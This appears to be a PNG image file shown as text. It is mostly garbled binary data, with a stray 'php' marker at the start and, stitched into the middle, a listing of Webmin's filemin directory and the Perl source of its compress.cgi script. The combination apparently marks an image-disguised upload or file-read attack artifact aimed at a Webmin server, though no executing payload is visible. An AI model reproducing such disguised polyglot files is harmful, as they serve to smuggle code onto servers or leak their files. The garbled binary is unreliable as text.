php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /usr/libexec/webmin/filemin/ |
files >> //usr/libexec/webmin/filemin/compress.cgi |
#!/usr/bin/perl require './filemin-lib.pl'; &ReadParse(); get_paths(); if(!$in{'arch'}) { &redirect("index.cgi?path=".&urlize($path)); return; } my $command; if ($in{'method'} eq 'tar') { $full = "$cwd/$in{'arch'}.tar.gz"; $command = "tar czf ".quotemeta($full)." -C ".quotemeta($cwd); } elsif ($in{'method'} eq 'zip') { $full = "$cwd/$in{'arch'}.zip"; $command = "cd ".quotemeta($cwd)." && zip -r ".quotemeta($full); } else { &error("Unknown method!"); } $newfile = !-e $full; foreach my $name (split(/\0/, $in{'name'})) { $command .= " ".quotemeta($name); } my @st = stat($cwd); &system_logged($command); if ($newfile) { &set_ownership_permissions($st[4], $st[5], undef, $full); } &redirect("index.cgi?path=".&urlize($path));y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`